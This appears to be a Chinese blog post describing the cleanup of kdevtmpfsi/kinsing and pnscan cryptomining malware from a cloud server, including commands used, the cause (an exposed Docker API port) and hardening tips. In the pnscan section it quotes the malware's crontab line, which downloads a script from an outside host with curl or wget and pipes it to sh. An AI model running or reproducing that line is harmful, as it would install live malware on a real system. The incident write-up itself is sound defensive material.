Linux被kdevtmpfsi,pnscan挖矿病毒入侵
记录起因
从腾讯云刚拿了一台新服务器,第一天装好docker环境后,第二天上午就收到了来自腾讯云的短信警告。登陆平台后发现站内信
好在腾讯没有直接停用我的服务器,直接进入服务使用top观察了一会高占用进程
发现kdevtmpfsi 和 pnscan 已经把我的cpu跑满了。
pnscan病毒感染惨状:
- 使用top & ps & netstat 等等命令,都无法正常使用
- CPU基本100%,时不时网络中断
- redis端口6379被大规则线程占用
- 通过lsof -i:6379 查看进程,发现进程id一直在变动
- rm -rf 攻击的脚本,显示没权限(加sudo也没用,彻底对这个病毒服气了!)
kdevtmpfsi病毒感染惨状:
- 依赖于我的docker容器,并自动为我下载镜像,启动伪装服务
- cpu占用高
排查方法(kdevtmpfsi)
查看 kdevtmpfsi 进程,使用 ps -ef | grep kdevtmpfsi 命令查看,见下图。
PS: 通过 ps -ef 命令查出 kdevtmpfsi 进程号,直接 kill -9 进程号并删除 /tmp/kdevtmpfsi 执行文件。但没有过1分钟进程又运行了,这时就能想到,kdevtmpfsi 有守护程序或者有计划任务。通过 crontab -l 查看是否有可疑的计划任务。第二步:根据上面结果知道 kdevtmpfsi 进程号是 10393,使用 systemctl status 10393 发现 kdevtmpfsi 有守护进程,见下图。
第三步:kill 掉 kdevtmpfsi 守护进程 kill -9 30903 30904,再 killall -9 kdevtmpfsi 挖矿病毒,最后删除 kdevtmpfsi 执行程序 rm -f /tmp/kdevtmpfsi。
第四步:删除掉kdevtmpfsi的相关文件
cd /tmp
ls
rm -rf kdevtmpfsi
rm -rf /var/tmp/kinsing
最后自己可以再检查一下是否还有kdevtmpfsi的相关文件,有的话就继续删除
find / -name kdevtmpfsi
find / -name kinsing
排查方法 (pnscan)
第一步:通过进程名寻找文件目录
[root@hadoop1 sbin]# find / -name '*bioset*'
/var/tmp/.systemd-private-c15c0d5284bd838c15fd0d6c5c2b50bb-systemd-resolved.service-xCkB12/vje9c1vlq/bk20vm2o/xCkB12/bioset
该目录下存在一个proc_1的脚本文件,推测是守护脚本,直接删除也不行(还有同步机制,接着看)
第二步:使用 crontab -l 查询任务项,果然有猫腻
[root@hadoop1 sbin]# crontab -l
*/10 * * * * (curl -fsSL --retry 3 -m180 "http://dl.djangocc.com:8080/p?a=p&a2=cron"||wget -q --tries=3 -T180 -O- "http://dl.djangocc.com:8080/p?a=p&a2=cron")|sh
该病毒会每10分钟从djangocc.com上下载shell脚本并执行,这里不能直接执行crontab -e,进去后删除,然后保存退出。这方法压根不行,因为还会继续添加。
第三步:
1)先关掉定时crondsy
stemctl stop crond #关掉定时
systemctl disable crond.service #关掉定时开机自启动
2)删除crontab文件
rm -rf /var/spool/cron/root
3)删除病毒文件
rm -f /var/tmp/.systemd-private-c15c0d5284bd838c15fd0d6c5c2b50bb-systemd-resolved.service-xCkB12/*
4)根据之前top的病毒PID停止进程
kill -9 2042
5)执行crontab -e进去将所有内容删除,保存退出
crontab -e
6)重启监测,到这里top发现没有bioset,CPU占用也正常
注意事项
完成以上操作后,要对/etc,/tmp 目录的新生文件(尤其是.sh)进行排查,
例如/etc目录出现 newinit.sh,newsvc.sh,newdat.sh 要及时删除。/tmp目录下出现新生可疑文件且“上锁”
chattr命令使用
在对可疑文件进行删除时,可能会遭遇root用户被提示:Operation not permitted
使用lsattr 命令查看文件权限
lsattr *
如果发现脚本包含i属性,则使用chattr清除属性
lsattr newinit.sh
## ----ia----------- newinit.sh
# 知道原因后就好办了,执行指令chattr -i 文件名,更改文件i属性,如下
chattr -i newinit.sh
rm -rf newinit.sh
事后检查
- 通过 find / -name “kdevtmpfsi” 命令搜索是否还有 kdevtmpfsi 文件
- 查看 Linux ssh 登陆审计日志。Centos 与 RedHat 审计日志路径为 /var/log/secure,Ubuntu 与 Debian 审计日志路径为 /var/log/auth.log。
- 检查 crontab 计划任务是否有可疑任务
问题起因
百度过很多博文,大多数起因是redis没有设置密码,或密码过于简单。但是我的服务器并还没来得及装redis。最终发现我的防火墙开启了2375端口(是我开启了idea 的docker插件互通,方便我一键部署服务被人扫描到变成了肉鸡)
总结
- 如果想彻底解决这个毒瘤,需要恢复的内容很多、且需要完全把攻击的脚本看懂,否者也不能彻底恢复
- 本人能力还有限 ,有这个时间,不如重新安装一个系统。
- 此服务器个人学习使用,安全问题自己关注的很少。至少任何服务开启的时候,以后都要设置密码
- 如果可以,防火墙设置固定的IP地址访问的权限、常用的端口,如80/3306/6379等等,可以设置其他非默认端口
- 在服务搭建及组件通信中尽量考虑docker容器内通信,不将基础性服务暴露在外网
- 事后如果发现病毒依然能霸占主机,迁移出自己的文件隔离杀毒。将主机镜像还原。